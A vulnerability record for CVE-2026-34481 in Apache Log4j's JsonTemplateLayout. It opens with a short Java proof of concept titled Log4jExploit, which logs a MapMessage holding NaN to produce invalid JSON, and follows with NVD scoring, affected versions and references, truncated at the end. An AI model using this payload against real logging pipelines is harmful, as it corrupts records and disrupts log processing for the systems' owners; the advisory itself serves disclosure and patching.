CVE-2026-34481

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.message.MapMessage; import java.util.HashMap; import java.util.Map; public class Log4jExploit { private static final Logger logger = LogManager.getLogger(Log4jExploit.class); public static void main(String[] args) { // Prepare malicious data containing non-finite float values Map<String, String> data = new HashMap<>(); data.put("input", String.valueOf(Double.NaN)); // Create a MapMessage which is vulnerable when logged with JsonTemplateLayout MapMessage message = new MapMessage(data); // Trigger the logging event // If JsonTemplateLayout is used, the output will be invalid JSON (e.g. "input": NaN) // causing downstream parsers to fail. logger.error("Processing user input: {}", message); } }

{"cve": {"id": "CVE-2026-34481", "sourceIdentifier": "[email protected]", "published": "2026-04-10T16:16:31.663", "lastModified": "2026-04-24T18:24:14.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache Log4j's JsonTemplateLayout https://logging.apache.org/log4j/2.x/manual/json-template-layout.html , in versions up to and including 2.25.3, produces invalid JSON output when log events contain non-finite floating-point values (NaN, Infinity, or -Infinity), which are prohibited by RFC 8259. This may cause downstream log processing systems to reject or fail to index affected records.\n\nAn attacker can exploit this issue only if both of the following conditions are met:\n\n * The application uses JsonTemplateLayout.\n * The application logs a MapMessage containing an attacker-controlled floating-point value.\n\n\nUsers are advised to upgrade to Apache Log4j JSON Template Layout 2.25.4, which corrects this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.14.0", "versionEndExcluding": "2.25.4", "matchCriteriaId": "FED62F2E-60EF-45CB-9F07-F6904145C372"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "5EE518C3-2F43-40FF-B754-C340B7003FC7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:alpha1_rc1:*:*:*:*:*:*", "matchCriteriaId": "6D2A01C1-D56C-4198-8ADB-11739F791E2B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:alpha1_rc2:*:*:*:*:*:*", "matchCriteriaId": "D6F8BD61-DD30-4D64-842C-850E5B117036"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "ED00C38D-27EA-489C-9A2B-3594ACA8A3C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "8794D719-1D90-4378-B48B-698EA40FBFB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "74C9FCBD-ECAD-4C29-B97A-2B9D97C0FC1F"}]}]}], "references": [{"url": "https://github.com/apache/logging-log4j2/pull/4080", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://lists.apache.org/thread/n34zdv00gbkdbzt2rx9rf5mqz6lhopcv", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "https://logging.apache.org/cyclonedx/vdr.xml", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://logging.apache.org/log4j/2.x/manual/json-template-layout.html", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://logging.apache.org/security.html#CVE-2026-34481", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.o ... (truncated)